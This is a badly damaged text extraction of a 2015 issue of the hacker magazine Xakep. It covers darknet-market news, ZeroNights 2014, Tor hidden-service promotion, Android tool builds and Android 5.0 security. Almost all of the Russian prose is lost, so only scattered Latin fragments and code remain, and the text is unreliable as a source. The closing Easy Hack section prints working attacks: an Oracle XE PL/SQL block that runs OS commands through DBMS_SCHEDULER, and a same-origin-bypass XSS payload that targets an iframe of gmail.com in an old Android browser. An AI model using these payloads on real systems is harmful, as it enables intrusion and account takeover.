Открыть Электронные книги
Категории
Открыть Аудиокниги
Категории
Открыть Журналы
Категории
Открыть Документы
Категории
Eiffel
. 36
. 90
450
Android 5.0
Varnish
. 114
Cover Story
ZERO
NIGHTS
2014
. 12
01 (192)
: 25.12.2014
rusanen@real.xakep.ru
chernova@real.xakep.ru
PC ZONE, UNITS
ilembitov@real.xakep.ru
ant
ant@real.xakep.ru
UNIXOID SYN/ACK
kruglov@real.xakep.ru
goltsev@real.xakep.ru
X-MOBILE
execbit.ru
rusanen@real.xakep.ru
Dr.
MALWARE, ,
PHREAKING
alexander@real.xakep.ru
-
, , , 16
. , , .
192 , ,
, .
, .
-. .
, . .
, - , - , - .
,
, .
, , , , ][-. , , ][
.
, ZN, , ,
. -, . , , ,
, .
!
ZN, , , .
ZN , ,
, PR, , , , . ZN
,
. ,
, , .
, ,
, , ZN, ][
!
DVD
ant
ant@real.xakep.ru
D1g1
Security-
evdokimovds@gmail.com
PR-
yakovleva.a@glc.ru
samsonenko@glc.ru
shop.glc.ru, info@glc.ru, (495) 663-82-77, (800) 200-3999 ( , , )
(lapina@glc.ru)
: , 109147, / 50
16+
2015
192
004 MEGANEWS
012 ZERONIGHTS 2014:
020
022 Firefox Developer Edition
024 SEO
028 Linux- Android
036 security- Android 5.0
042 #3.
044 EASY HACK
048
054 IPMI/BMC-
058 ?
060
066 X-TOOLS C
068 2014 ,
076 2014 ][
082 R
086 MBAAS
090 , , Boeing
096 Sails.js MVC-
102 Rake
106 Parallels
108 , , !
114
- Varnish
120 , SIP-
125 , Linux11
130 ESPER
135 Apache Tomcat UNIX-
140 FAQ
144 WWW2 -
MEGANEWS
Silk Road
2.0 26-
(aka
Defcon). Silk Road
2.0
,
,
.
Silk Road 2.0
.
Mifrill
mifrill@real.xakep.ru
Silk Road
ONYMOUS,
, Silk Road,
Silk Road 2.0.
Silk Road
,
Onymous.
Onymous
. ,
Tor. , Silk Road 2.0
, Cloud 9,
Hydra, Pandora, Blue Sky, Topix, Flugsvamp, Cannabis
Road Black Market,
, , . ,
Tor-,
. , : Cash Machine,
Cash Flow, Golden Nugget, Fast Cash .
, Bitcoin 250 . , , , , .
, , : ? ,
Tor.
, , .
, ,
Onymous
. ,
. ,
. ,
, ,
Silk Road
2.0. ,
.
414 .onion
.
17 .
01 /192/ 2015
, APPLE
,
,
, iPhone, . , ,
.
Palo Alto Networks , 400 Mac, iPhone iPad , WireLurker.
iCloud . WireLurker Maiyadi ( ). , , Apple, .
, ,
.
, WireLurker .
,
Enterprise.
. , ,
: (,
).
OS X ( Yosemite).
Rootpipe
. , Apple
, .
,
15
.
.
Mail.Ru, eBaza ,
,
. 9,6
mail.ru, 2,5 yandex.ru 1,1 rambler.ru.
list.ru, bk.ru, narod.ru
yahoo.com. , , 100% -.
. , Mail.Ru ,
,
,
0,2% . ,
,
- 200
. , 98,8%
, .
.
.
. ,
,
. ,
!, ,
.
MEGANEWS
01 /192/ 2015
BADUSB
USB-
,
SR Labs ,
USB ? ,
,
.
(github.com/
adamcaudill/Psychson), .
(
: opensource.srlabs.de/projects/badusb), USB-
: Phison, Alcor, Renesas, ASmedia, Genesys
Logic, FTDI, Cypress Microchip. ,
PacSec. ,
, , .
, , . ,
, ,
.
, Phison . ASmedia,
, . Genesys USB 3.0, USB 2.0. ,
, , ,
.
, BadUSB
,
USB- ( )
.
,
.
86%
WordPress
WordPress 3.x, ,
.
,
JavaScript-, . WordPress 4.0
,
WordPress 4.0.1. 3.9.3, 3.8.5 3.7.5.
44%
, Google+
. ,
,
-, .
,
- Google,
Dropbox
451 Research.
, Dropbox
,
Dropbox
1000 , OneDrive. ,
18%
,
.
01 /192/ 2015
, BITCOIN-
,
. , ,
,
,
. Bitcoin
, . ,
,
BC .
, ,
,
( ).
.
CryptoLabs ,
,
. Case. (86 54 )
, .
Case SIM-, 60 .
, ,
, .
multi-signature, -
,
. .
. , ,
. Case
, . , ,
, : , ,
E Ink , .
. Mr.Bitcoin
, ,
.
,
, NFC-
(RFID- NTAG216,
NFC Type 2). :
.
- .
, Case
BC-.
Trezor. Trezor
, ,
,
. Case .
,
NFC-
(RFID-
NTAG216,
NFC Type 2)
?
Microsoft ,
Windows 10.
,
, , , ?
20
18
-3 :
48
43
Windows Store
Windows 8/8.1
17
15
, -
20
Cortana
13
MEGANEWS
01 /192/ 2015
,
,
GOOGLE NO-CAPTCHA
FIREFOX
GOOGLE
FIREFOX ,
, ,
: (
), ,
?. , .
Google No-CAPTCHA,
ReCAPTCHA. Snapchat, WordPress
HumbleBundle, .
, No-CAPTCHA , , .
, , IP- , , .
, ,
- . ,
,
. ,
. Google .
2014
Google ( )
2014 . 75 , 11 . ,
2013 .
, Facebook Messenger, WhatsApp,
Hike Twitter. .
, :
Lamoda
LinguaLeo
-
Anywayanyday
Delivery Club
Aviasales
Telegram
01 /192/ 2015
NOKIA
.
Super Mario Brothers, Call
of Duty.
( )
5
140 .
Z LAUNCHER
Nokia
Microsoft, . Nokia
Nokia
N1 Android 5.0. , Nokia
2016 . .
iPad Mini, Nokia , , N1
, iPad, . : , IPS- 7,9 (2048 1536)
Gorilla Glass 3. N1 Intel Atom Z3580 2 (LPDDR3). - (eMMC 5.0) 32 . , 8 5 ,
5300 Wolfson WM8958E. , N1
micro-USB 2.0 Type-C .
250 .
. Nokia Z Launcher.
, :
, ( ).
Nokia .
,
. , . , , .
... . , , .
, Z Launcher , , , .
, . .
Z Launcher -,
Nexus 5, Galaxy
S5, S4, S3, Moto X,
Moto G, HTC One, Sony
Xperia Z1.
.
zlauncher.com.
Sandisk
SSD-DIMM, -,
. UltraDIMM
DDR3.
Google -
OS X
, Santa.
inhouse,
. Microsoft
:).
10
01 /192/ 2015
, Facebook
,
, ,
.
$400
TWITTER FACEBOOK
: .
,
.
Facebook Twitter, , : , .
Twitter .
, . ? :
Twitter . . .
Facebook . 1 , . Facebook
( , ) , . , ,
, , , ( ).
. ? , .
. ,
AAA-.
Minecraft ,
.
Bitcoin
BC
319
. ,
, Silk Road 2.0, ,
, , . . ,
, 400 . ,
,
BC :).
15 000
Facebook
Facebook
2014 .
(4960 ), (1893), (1773). , ,
29 .
, ,
, , . ,
15 , 3 ,
.
11
01 /192/ 2015
Google Play
Services ,
Google
Copresence,
iOS
Android. ,
Bluetooth Wi-Fi.
,
IMP ,
34%
(33 799 100 000
).
,
,
.
Microsoft:
Microsoft Office iOS Android
.
Office 365 .
WhatsApp
end-to-end .
Cryptocat, Silent
Text Telegram, WhatsApp , .
: Microsoft
Xbox ,
, APU
20- .
APU 28-
.
Cover Story
12
01 /192/ 2015
ZERONIGHTS
2014:
rusanen@real.xakep.ru
. .
.
, - Security
Vacation Club. DSec, , .
ZeroNights,
. , ,
, ,
. Digital Security, ZN, .
ZN .
, , mobile web securiry, defensive-
(
, ,
ZN).
. ZN-
, ,
,
afterparties
:).
ZN2014 ,
. ,
ZN
, ,
, ,
. Go on!
01 /192/ 2015
ZeroNights 2014:
13
Cover Story
14
ZN
,
- /
Jean-Philippe (JP) Aumasson
:
Kudelski Security.
ZeroNights 2014:
Heartbleed, OpenSSL, LibreSSL Truecrypt,
, Crypto
Coding Standard.
- / Jake McGinty
: Open Whisper
Systems.
ZeroNights 2014: , - ,
,
, ,
.
: Kudelski
Security, .
ZeroNights 2014:
Workshop,
,
;
DES; AES.
? ,
. ,
ZeroNights ,
. : , , ,
. ,
. , . ,
, , - .
, .
. ,
, , , . , ,
, , . , , , . ,
, . , ,
. , , .
, ,
Hardware Village, ,
, , . , . , - , ,
Hardware Village . , , Hardware Village
, . ,
! , !
01 /192/ 2015
15
ZeroNights 2014:
Web-security
/ Nicolas Gregoire
:
.
ZeroNights 2014: , 25
.
: Wallarm,
][.
ZeroNights 2014:
-,
, .
, ][
. . : ZeroNights
. ,
, . : , .
, .
fast tracks ( 15-
) , , ,
, , .
ZN .
, , , , ][. ,
, ,
, 2014-
:).
, - . ZN
.
: .
:
bug bounty ,
][ , ,
Xakep.RU :).
ZeroNights 2014: ,
. , -
,
,
, ( ,
) .
16
Cover Story
01 /192/ 2015
, DSec,
X-Tools
Mobile security
/ Peter Hlavaty
/ Marco Grassi
: R&D
viaForensics.
ZeroNights 2014:
.
Android iOS, ,
.
,
: , ][.
ZeroNights 2014:
,
4G-
. : SIM-, 4G
USB-, , IP- .
: viaForensics, ][.
ZeroNights 2014: Workshop
, forensics iOS.
,
.
ZeroNights
, .
ZeroNights, -
.
, ,
ZeroNights. , ,
,
. , ,
.
.
,
, ,
,
, ,
, ZeroNights.
,
:). , , ,
DEFCON Russia
.
P. S. : ZeroNights?
:
!
01 /192/ 2015
17
ZeroNights 2014:
//
/ Patroklos Argyroudis (argp)
, , ][
ZeroNights .
-
-, . , -
, , , :).
, , : , , CTF, , .
, - .
. ,
, . , - 0day-
Heartbleed ,
- .
, ,
proof of concept, .
,
- :
, .
, , , , ZN.
QIWI,
. , ,
QIWI- ,
:). ,
, ,
VISA ZN.
, , ZeroNights
. ,
. Digital
Security, , The Prodigy One Love Hackers (1995).
, ,
.
: Census S.A.
ZeroNights 2014: Heapbleed,
( ,
, / , )
, ,
.
:
.
ZeroNights 2014:
, , ,
.
/ Fabien Duchene
: ,
.
ZeroNights 2014: , ShiftMonkey KameleonFuzz, , .
: Digital Security.
ZeroNights 2014:
AV, hardware assisted (VT-x,
AMD-V) .
: , ][.
ZeroNights 2014: ,
,
.
:
ZeroNights?
:
!
Cover Story
18
01 /192/ 2015
, ESAGE Lab,
, ZeroNights 2013,
,
.
( ), , .
, .
:
.
.
. , CTF-,
open source
- .
QIWI, , , .
,
.
:).
. , @toxo4ka
bug bounty , .
( ) , @akochkov
- radare2 ( ),
. , private speaker party, ,
, ,
.
, @090h DJ-,
Hardware Village, , . ,
:).
, , ,
, , ,
.
Fast track
: Digital
Security, ][.
ZeroNights 2014:
Oracle, Oracle Database
Communication Protocol .
: Positive Technologies,
][.
ZeroNights 2014:
. , ,
,
. , ,
.
: -
(Esage Lab), ][,
.
ZeroNights 2014: Go ,
Go (-, ,
)
.
, Positive Technologies,
ZN . ,
ZN,
, .
.
. -
. - ,
: bit.ly/1tQGXoh. ,
, . , ,
, , , .
,
. Hardware Village, .
, .
, . CTF, ,
. afterparty .
, , . .
01 /192/ 2015
19
ZeroNights 2014:
, - ,
Wallarm
, , ZeroNights ,
. ZN , !
: , , (, , ) Black Hat, , :). ,
ZN,
.
, , Keynote. , ,
. Solar Designer , DOS, ( ) , , .
- , , , . . , -
Foursquare ZN, ?
:
, , ,
-
Black Hat, , :)
, PR- DSec
ZeroNights, , .
, ,
, , .
: ,
, , , .
ZN , , . . , : , ,
, CTF -.
, .
, , , , . ,
Defensive Track, - . , .
, 12 , , .
, CTF,
.
Shadow servants, 1336 h4x0rz, ,
.
for fun, , . (). , ,
. , , ZeroNights :).
, Wallarm
. ZN . , . MQ ,
DOS-. DEFCON,
( ,
). 20052006,
:).
! - . . - . .
Defensive Track
: QIWI.
ZeroNights 2014:
. NGFW
DPI .
: Mail.Ru Group.
ZeroNights 2014:
,
,
, .
: Nokia R&N, Here,
][.
ZeroNights 2014: , ModSecurity
Web ,
.
:
.
ZeroNights 2014:
open source .
20
PC ZONE
01 /192/ 2015
@ilya_pestov
rusanen@real.xakep.ru
,
, . GitHub
,
.
,
.
io.js
ClockPicker
https://github.com/iojs/io.js
JavaScript , : Node.js,
Joyent,
io.js.
, Node.js 2013 ( 0.10)
V8.
semver. Io.js
4000 GitHub.
13 2015
, , Node.js npm.
https://github.com/weareoutman/clockpicker
UI/UX-, datetime-picker.
hours-
, . .
Handsontable
https://github.com/handsontable/handsontable
,
Excel- .
, ,
Handsontable. API,
.
50
.
c Backbone, Angular, , ,
.
01 /192/ 2015
21
Clappr
Mermaid
https://github.com/globocom/clappr
Clappr . Clappr : ,
,
Google-. Clappr
.
https://github.com/knsv/mermaid
-. Mermaid
JavaScript-, -:
<body>
<div id="player"></div>
<script>
var playerEl = document.
getElementById("player");
var player = new Clappr.
Player({source: "http://your.video/
here.mp4"});
player.attachTo(playerEl);
</script>
</body>
Nightrain
https://github.com/naetech/nightrain
PHP,
- . ,
OS , Windows Linux.
, nightrain ,
. Python
PHP/HTML/CSS/JS .
SQLite 3. , , , .
,
-.
<div class="mermaid">
CHART DEFINITION GOES HERE
</div>
graph LR;
A[Hard edge]-->|
Link text|B(Round edge);
B-->C{Decision};
C-->|One|D[Result one];
C-->|Two|E[Result two];
(. ).
Flexie
https://github.com/doctyper/flexie
W3C , .
.
. Flexie
,
CSS3 Flexible Box Model IE 6-9, Opera
10.0+, Firefox 3.0+, Safari 3.2+ Chrome 5.0+.
PhotoSwipe
https://github.com/dimsemenov/PhotoSwipe
. 3000
. PhotoSwipe HTML5 History API
, , , .
SVG Morpheus
];
// dene options (if needed)
var options = {
// optionName: 'option value'
for example:
index: 0
// start at rst slide
};
// Initializes and opens PhotoSwipe
var gallery = new PhotoSwipe
( pswpElement, PhotoSwipeUI_Default,
items, options);
gallery.init();
https://github.com/alexk111/SVG-Morpheus
C retina- SVG -
SVG . SVG
Morpheus ,
SVG-. .
22
PC ZONE
01 /192/ 2015
@ilya_pestov
Mozilla
. -, Firefox.
, Mozillian,
, Internet Explorer 95% . -, Chrome
SpiderMonkey V8 Google. -,
, , Firefox Developer Edition.
Firefox Developer Edition Firefox Aurora, Firefox
Nightly. :
Nightly Developer Edition Beta Release.
12 , . ,
Firefox.
JavaScript-
SpiderMonkey Mozilla
Google V8
Google
.
.
.
:
,
cookie, ,
, .
FIREFOX HELLO
, ,
WebRTC, ,
.
,
Telefonica
Firefox . Skype Firefox Hello.
,
browsing data
FFDE WebRTC
01 /192/ 2015
23
-,
. , ,
Firefox Chrome
- DevTools,
.
, ,
, , -
. , . Firefox
.
JavaScript.
-,
,
- DOM before after.
.
CSS-
.
.
Scratchpad JavaScript .
online- offline.
.
WEBIDE
VALENCE
Firefox Tools
Adapter. Valence ,
(, Chrome
Android, Safari iOS) -, Firefox.
FFOS
, . , ,
Firefox Developer
Edition. , , ...
Mozilla - ? ,
. Its everything youre
used to, only better. .
.
.
FFDE
PC ZONE
24
01 /192/ 2015
SEO
ff333xx
. ,
,
.
aquapix@shutterstock.com
WARNING
01 /192/ 2015
25
SEO
- 1999
Ozon Mail? Tor .
. . .
90-, , , ,
.
.
, -
( - ):
;
;
.
Tor . .
WWW
Tor Browser:
https://www.torproject.
org
PC ZONE
26
01 /192/ 2015
ONION-
tor-hidden- , :
1. Tor (https://www.torproject.org/download/download-easy.html.en).
2. -. . , ,
XAMPP Windows (sourceforge.net/projects/xampp/) MAMPP (www.mamp.
info/en/) OS X.
3. . :
Windows (https://www.torproject.org/docs/tor-doc-windows.html.en);
OS X (https://www.torproject.org/docs/tor-doc-osx.html.en);
Linux (https://www.torproject.org/docs/tor-doc-unix.html.en).
-,
( ).
:
. ,
,
AgoraMarket.
. ,
.
, , . Tor , . . -,
NoScript Tor
Browser.
JavaScript, .
-, , HTML5 <canvas>,
Canvas Fingerprint (
, ).
canvas- Tor
.
, , . , .
-, Tor cookies,
.
, Firefox.
HTML-
(. ][ ), .
- ,
https://hacks.mozilla.org.
WWW
Tor
Browser
:
https://www.torproject.
org/projects/torbrowser/
design/
01 /192/ 2015
27
SEO
, , SEO:
, . Tor- -
2000-,
.
,
WWW
.
The Hidden Wiki:
.
http://kpvzxxbbraaigawj.
:
onion
1. Tor . Onion wiki:
http://cu7yjdxqw37yjv5n.
, onion/Main_Page
,
Grams
, .
Google drugs 431 ,
Tor- .
, .
Tor- ,
. Tor-.
2. -
, , Tor-
,
. . ,
( ),
description.
. Torch
, 12
. .
SEO- .
. ,
,
. - ,
,
, ,
, -
.
.
.
Grams (http://grams7enufi7jmdl.onion/
addasite);
TorFind (http://ndj6p3asftxboa7j.onion/
submit.html);
Ahmia (https://ahmia.fi/add/).
INFO
.
Google- Tor - .
-
open source
AWStats (www.awstats.org)
Piwik (piwik.org).
INFO
.onion, .i2p.
.
. , , , .
Torch (http://xmh57jrzrnw6insl.onion/
adinfo.html);
TorAds Grams (http://toradsc6vvmtugty.onion/
auth/home).
.
, .
Stay tuned!
X-Mobile
01 /192/ 2015
rommanio@yandex.ru
LINUX- ANDROID
Android-, , Linux. , Terminal IDE, ,
. ?
PureSolution@shutterstock.com
28
01 /192/ 2015
29
, Android Linux.
, , . .
Native- Android ( ),
. . .
,
( NTFS, ), .
(
Android 4.3, Google. . .).
, , , , ,
.
, , Linux- .
linux-x86_64/bin:${HOME}/linaro-toolchain-4.6/bin
export NDKPATH=${HOME}/android-ndk-r10c export
ANDROID_SYSROOT=${HOME}/android-ndk-r10c/
platforms/android-18/arch-arm
export LINARO_SYSROOT=${HOME}/linaro-tool
chain-4.6/arm-unknown-linux-gnueabi/
sysroot export ARCH=arm export
CROSS_COMPILE_NDK=arm-linuxandroideabi-export CROSS_
COMPILE_LINARO=arm-unknownlinux- gnueabi-export CROSS_
COMPILE=$CROSS_COMPILE_NDK_export
make
CCOMPILE=$CROSS_COMPILE
()
, - , ,
(
Ubuntu):
modules, , , ( net/netfilter
):
, .
$ make modules_prepare
,
.
$ make M=net/netlter CFLAGS_MODULE=
/proc/modules.
-fno-pic
, .
NDK Linaro,
,
.
( ,
target-
, ),
NDK ,
, ,
Android , ,
/system/lib/modules POSIX- insmod .
, Linaro
,
POSIX- ARM, (
.
Android
, , goo.gl/gIzvZe), ,
.
. https://developer.
android.com/tools/sdk/ndk/index.html , NDK, .
:
export PATH=$PATH:${HOME}/android-ndk-r10c/
toolchains/arm-linux-androideabi-4.6/prebuilt/
30
X-Mobile
( ) opensource.samsung.com.
. /proc/config.gz, ,
, ,
.
, ,
arch/arm/configs/, . n1a_00_
defconfig, .
, , :
01 /192/ 2015
$ make n1a_00_defcong
make menuconfig, .
,
.
,
,
$ mkdir nal
$ cp arch/arm/boot/zImage nal
$ nd . -name '*ko' -exec cp '{}' nal \;
, ,
ZIP-. ,
( . . .). :
$
$
$
$
cd nal
git clone https://github.com/koush/AnyKernel.git
cp ./*.ko ./AnyKernel/system/lib/modules/
cp ./zImage ./AnyKernel/kernel/
,
, ( ,
),
, d-h.st/RgI, , , AnyKernel/
kernel/. , , AnyKernel/META-INF/com/google/android/
updater-script.
:
01 /192/ 2015
31
. ,
, , , .
:
$
$
$
$
$
$
$
$
$
$
export CROSS_COMPILE=$CROSS_COMPILE_LINARO
export CC=arm-unknown-linux-gnueabi-gcc
export CPP=arm-unknown-linux-gnueabi-cpp
export CXX=arm-unknown-linux-gnueabi-g++
export LD=arm-unknown-linux-gnueabi-ld
export AS=arm-unknown-linux-gnueabi-as
export AR=arm-unknown-linux-gnueabi-ar
export RANLIB=arm-unknown-linux-gnueabi-ranlib
export CPPFLAGS="--sysroot=$LINARO_SYSROOT"
export CFLAGS="--static --sysroot
=$LINARO_SYSROOT"
$ export CXXFLAGS="--sysroot=$LINARO_SYSROOT"
$ export LDFLAGS="--sysroot=$LINARO_SYSROOT"
/dev/block/mmcblk0p9 ,
. boot,
. , :
Bash
$ for i in /dev/block/platform/*/by-name/boot; \
do ls -l $i; done
$ wget http://ftp.gnu.org/gnu/bash/bash-4.3.30.tar.gz
$ tar xzvf bash-4.2.53.tar.gz && cd bash-4.3.30
configure :
, -
Bash,
Android
32
X-Mobile
bash,
/system/xbin.
, bash Linaro. Bionic, libc Android,
POSIX- , bash (, , mkfifo() wctomb()). ,
bash
. Linaro , , POSIX- glibc.
bash , ,
Android, , glibc, , . , .
Lshw
Lshw ,
. ( Linaro) .
,
src/Makefile src/core/Makefile C++
Linaro ( CXX
arm-unknown-linux-gnueabi-g++),
--static CXXFLAGS. .
Htop
Linux.
ncurses,
. htop,
ncurses:
01 /192/ 2015
Htop,
Android
$ export SYSROOT_ADDITIONS=${HOME}/htop/rootdir
$ ./congure --with-normal --without-shared
--without-cxx-binding --enable-root-environ
--disable-widec --disable-GPM --without-ada
--without-tests --host=arm-linux --prex=
$SYSROOT_ADDITIONS
$ make && make install
, (
Ada).
htop,
:
$ cd ..
$ wget http://hisham.hm/htop/releases/1.0.3/
htop-1.0.3.tar.gz
$ tar xzvf htop-1.0.3.tar.gz
$ cd htop-1.0.3
:
$ export CPPFLAGS="--sysroot=$LINARO_SYSROOT"
$ export CFLAGS="--static -I${SYSROOT_ADDITIONS}/
include --sysroot=$LINARO_SYSROOT"
$ export CXXFLAGS="--sysroot=$LINARO_SYSROOT"
$ export LDFLAGS="-L${SYSROOT_ADDITIONS}/
ncurses-5.9/lib --sysroot=$LINARO_SYSROOT"
$ export LIBS="${SYSROOT_ADDITIONS}/lib/
libncurses.a"
01 /192/ 2015
# export TERMINFO=/system/etc/terminfo
htop .
Tmux
Tmux
screen,
OpenBSD. Android
adb shell SSH (,
TV Box HDMI- Android. .
.).
tmux
ncurses , rootdir. ncurses, libevent. tmux, $SYSROOT_ADDITIONS libevent tmux:
$ export SYSROOT_ADDITIONS=${HOME}/tmux/rootdir
$ git clone https://github.com/libevent/
libevent.git
$ git clone git://git.code.sf.net/p/tmux/tmux-code
libevent:
33
,
google,
ngrep
SSH-
Android.
tmux.
lshw
libpcap D-Bus
Android
34
X-Mobile
01 /192/ 2015
$ cd ../libevent
$ ./autogen.sh
$ ./congure --host=arm-linux --disableshared --disable-openssl --disable-samples
-prex=$SYSROOT_ADDITIONS
$ make && make install
--sysroot=$LINARO_SYSROOT"
$ ./congure --enable-static --disable-dropprivs
--host=arm-linux --with-pcap-includes=
${SYSROOT_ADDITIONS}/include/pcap
$ make
configure. libpcap
D-Bus Android (
Linux, ). ngrep
libpcap /etc/passwd Android,
.
tmux:
$ export CFLAGS="--static-I
${SYSROOT_ADDITIONS}/include -I/${SYSROOT_
ADDITIONS}/include/ncurses --sysroot=
$LINARO_SYSROOT"
$ export LDFLAGS=" -L${SYSROOT_ADDITIONS}/
lib -L${SYSROOT_ADDITIONS}/include -L
${SYSROOT_ADDITIONS}/include/ncurses
LINUX DEPLOY
--sysroot=$LINARO_SYSROOT"
,
$ export LIBEVENT_CFLAGS="I${SYSROOT_ADDITIONS}
(, /include --sysroot=$LINARO_SYS torrent- rtorrent
ROOT"
libtorrent, ,
$ export LIBEVENT_LIBS="
,
L${SYSROOT_ADDITIONS}
Boost). -
/lib -levent
Android
--sysroot=$LINARO_SYSROOT"
,
ANDROID
POSIX- , ,
Linux. , :
SDL ; ;
FFmpeg - ;
Qt , Qt Android;
Unity ;
Ogre OpenGL
3D-.
.
$ ./congure --enable static --host=arm-linux &&
.
make
Linux Deploy,
Google Play.
tmux,
Android
TERMINFO,
Linux, TMPDIR
,
/data/local/tmp.
,
.
POSIX- (
# export TERMINFO=/system/
), etc/terminfo
# export TMPDIR=/data/
chroot- ( local/tmp
)
userland- , tmux
, ARM.
, Linux Deploy , .
loop-.
:
Ngrep
Ubuntu;
,
OpenSUSE;
( , ,
Fedora;
RESTful-). Arch Linux;
libpcap. , ,
Gentoo;
libpcap, :
, , Kali Linux ( , ,
).
,
tmux:
(
, )
Android. .
01 /192/ 2015
35
,
, , iptables.
,
.
POSIX-
NDK,
Bionic POSIX, ARM, , , glibc, . ,
, -
Ubuntu Linux Deploy
, ,
.
Linux Deploy, Android userland- .
. -,
, -, userland 4 , ,
, .
POSIX- Android .
- , .
Stay freedom.
X-Mobile
36
01 /192/ 2015
01 /192/ 2015
37
SECURITY-
ANDROID 5.0
androidstreet.net
Lollipop
Android Ice Cream Sandwitch.
Google
,
,
.
,
.
38
X-Mobile
Google Android .
Android ,
, ,
RPC- INFO
(Binder), ,
(dalvik) , ,
(James Comey)
(
).
iOS 8
. Google
Android 5.0, ,
OpenBSD
Bionic (
dmalloc calloc, Android 1.5),
No eXecute (NX) 2.3,
.
-fstack-protector Wformat-security
-Werror=format-security ( ).
3.0 ,
Linux- dm-crypt. Android 4.0
API
KeyChain,
.
4.1 ( )
HAL- keymaster
( , M-Shield OMAP4, Galaxy Nexus).
2012 Google
- Bouncer,
Google Play
, .
-
.
4.2,
2013-
Google Services
2.3 .
2014-
,
. SMS-
Android 4.2
.
Android 4.2
SELinux,
(permissive mode), 4.4
enforcing,
,
. 4.3
SETUID- -
01 /192/ 2015
/system
(capabilities) Linux .
Android Google
,
Apple
. ,
,
,
.
, Google , . Android
5.0 security specific ,
, , .
: ,
5.0, SELinux, root.
Apple, Android ,
iOS.
Lollipop, /data,
()
.
,
3.0
, :
(Master Key)
, PIN-
;
(Key Encryption Key, KEK)
,
Trusted Execution Environment (TEE),
, , Qualcomm
Secure Execution Environment.
,
, HAL masterkey,
TEE. ,
,
,
NAND.
,
,
PIN-
Smart
Lock ( ).
Google ,
,
, .
.
/data
dm-crypt AES-128 CBC ESSIV:SHA256
(IV).
KEK-,
PIN-
01 /192/ 2015
39
SELinux
script (www.tarsnap.com/
scrypt.html),
TEE. , Android 5.0 PIN-, KEK.
script
PIN-
Android 4.4
PBKDF2. GPU (6- PIN 10 , 6-
4 hashcat),
script, , 20 000
GPU .
,
,
Android 5.0. ,
,
.
SEANDROID
SELinux,
,
. SELinux
. SELinux ,
, ,
Apache ,
. , SELinux , , .
Android SELinux SEAndroid (seandroid.
bitbucket.org)
SELinux-
.
4.2, Android, ( 4.24.3)
(
). 4.4
Google
,
(installd, netd, vold zygote). SELinux
5.0.
Android 5.0 60 SELinux ( )
,
init .
,
Android,
root,
, .
, CVE-2011-1823,
Android 2.3.4 memory corruption
vold,
root (
Gingerbreak), -
X-Mobile
40
Smart Lock
01 /192/ 2015
Android
4.2, ( , 4.2 Multiple User
Enabler). 4.3
,
INFO
Linux,
Android
MD5-
. Google
,
.
, .
Lollipop , . ,
,
. ,
, ,
.
screen pinning, ,
, .
, .
,
,
.
screen pinning - .
, PIN-
. PIN .
, ,
,
, 99%
, , ,
. Samsung Knox.
01 /192/ 2015
,
.
SMART LOCK
41
KILL SWITCH
2013 Google -
PIN-
Android Device Manager, , Google .
5.0 Smart Lock,
.
, Google Play Google
.
Services,
Google
, Android 2.3.
,
Android 5.0,
.
Factory Reset Protection.
(Dan Campbell)
. Smart Lock
ChromeOS
,
, ,
Google,
Bluetooth
( ,
.
, TV Box),
NFC- Google
.
.
,
,
,
,
.
, ( Trusted
Bluetooth, ),
root
Tasker,
Pebble (
.
SWApp Link).
ChromeOS. , ,
Android
, PIN-
Android-, , Smart Lock ,
( Trusted Agents) ( Smart Lock ).
Bluetooth-, NFC- .
HTTPS TLS/SSL.
INFO
Android 5.0 TLSv1.1
Smart Lock.
TLSv1.2. ,
Forward Secrecy. ,
Android
AES-GCM,
. , , /
, ,
(MD5, 3DES) .
.
PIE . Android ,
WEBVIEW
.
Android PIE (Position-Independent Executables).
WebView WebKit, FORTIFY_SOURCE.
HTML/JS-
, stpcpy(), stpncpy(), read(), recvfrom(),
.
FD_CLR(), FD_SET() FD_ISSET(), . KitKat WebView
FORTIFY_SOURCE
GCC ( ). Chromium ( 33 Android 4.4.3),
FORTIFY_SOURCE
Android 4.2.
Google
-.
Google Android 5.0 ,
Lollipop, WebView
Chromium, Google
, ,
Play ( , : ). ,
Android
,
HTML/
root. , ,
JS-, , Lollipop
. , Google Android .
, -
42
X-Mobile
01 /192/ 2015
: VPN-, , ,
,
Opera Mini .
#3.
ONAVO EXTEND
AFWALL+
OPERA MINI
ADAWAY
4.0, Android
VPN.
, . Onavo
Extend VPN,
,
.
HTTP, ,
- .
AJAX , ,
, ,
.
,
Opera. Opera Max,
iOS Android.
,
, .
,
,
.
Android
,
iptables, .
AFWall+ .
: ,
( )
Wi-Fi
3G, .
iptables.
: root
.
. Android
,
.
,
.
Adblock,
AdAway.
AdAway ,
VPN, /system/etc/
hosts.
DNS-
.
AFWall+: goo.gl/eH7yb
: Android
: / open source
- .
,
, Opera Mini
.
Opera Mobile,
.
Opera
Mini
,
.
Opera Mini
HTML, JS, CSS.
OBML (Opera
Binary Markup Language),
Opera HTML OBML JavaScript .
OBML 90%,
,
- .
Opera Mini: goo.gl/9PoS31
: Android / iOS / Windows Phone
:
AdAway: goo.gl/2Qacc
: Android
:
10 /177/ 2013
43
Raspberry Pi
, .
Hint: .
44
01 /192/ 2015
EASY
HACK
GreenDog , Digital Security
agrrrdog@gmail.com,
twitter.com/antyurin
WARNING
. ,
, .
01 /192/ 2015
45
Easy Hack
ORACLE DB XE
, ( TNS)
SQL- -. ,
, , . Java.
. ,
Oracle, Express Edition (XE),
Jav Virtual Machine -. ?
! , .
begin
DBMS_SCHEDULER.create_program('any_name','EXECUTABLE',
'echo "any commands with parameters"',0,TRUE);
DBMS_SCHEDULER.create_job(job_name=>'any_job_name',
program_name=>'any_name',
start_date=>NULL,repeat_interval=?
>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);
dbms_lock.sleep(1);
dbms_scheduler.drop_program(program_name=>'any_name');
dbms_scheduler.purge_log;
end;
, . .
.
, ,
, .
? CHEATSHEET. - ,
,
:)
,
. -, , ,
, -. , . , , Internet Explorer
, Easy
Hack () .
Shazzer. ,
(=)
,
.
.
, , , (
.
, ) Android.
. , , Same Origin Policy. , SOP
- XSS, JavaScript . , ,
. ( , ,
, + + )
. ,
.
/ (,
SOP, , (http://evil.ru, ),
<svg/onload=alert(1)>), IE
`. , .
. , SOP ? -, cheatsheet,
:
(, OWASP: goo.gl/Ne8nGI).
<iframe name="test" src="http://gmail.com"></iframe>
-, . Shazzer (goo.gl/z0SrxG). -
<input type=button value="test" onclick="window.open
('\u0000javascript:alert(document.domain)','test')" >
. - . ,
http://evil.ru,
. , -, ,
(alert(document.domain)) Gmail. iframe ,
, -, ,
(input , ).
, , -
, (
.
SOP), ,
, ( ),
. \u0000 null-, . , , - ,
-
.
. , Android 4.4
: goo.gl/urMpHC.
46
JS
- . , .
, ,
.
-, , - . ,
XSS
